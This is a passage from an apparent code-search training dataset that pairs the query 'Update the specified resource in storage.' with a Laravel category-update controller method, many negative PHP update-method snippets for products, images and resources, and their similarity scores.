$this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, $id) { $category = Category::find($id); $request->validate([ 'root' => 'required', 'name' => 'required|min:2|max:50|unique:categories,id,'.$id, 'status' => 'required' ]); try { $category->root = $request->root; $category->name = $request->name; $category->slug = slugify($request->name); $category->status = $request->status; $category->created_by = Auth::id(); $category->update(); setMessage('success', 'Yeh! A Category Has Been Successfully Updated'); } catch (Exception $exception) { setMessage('danger', 'Something Wrong'); } return redirect()->back(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n 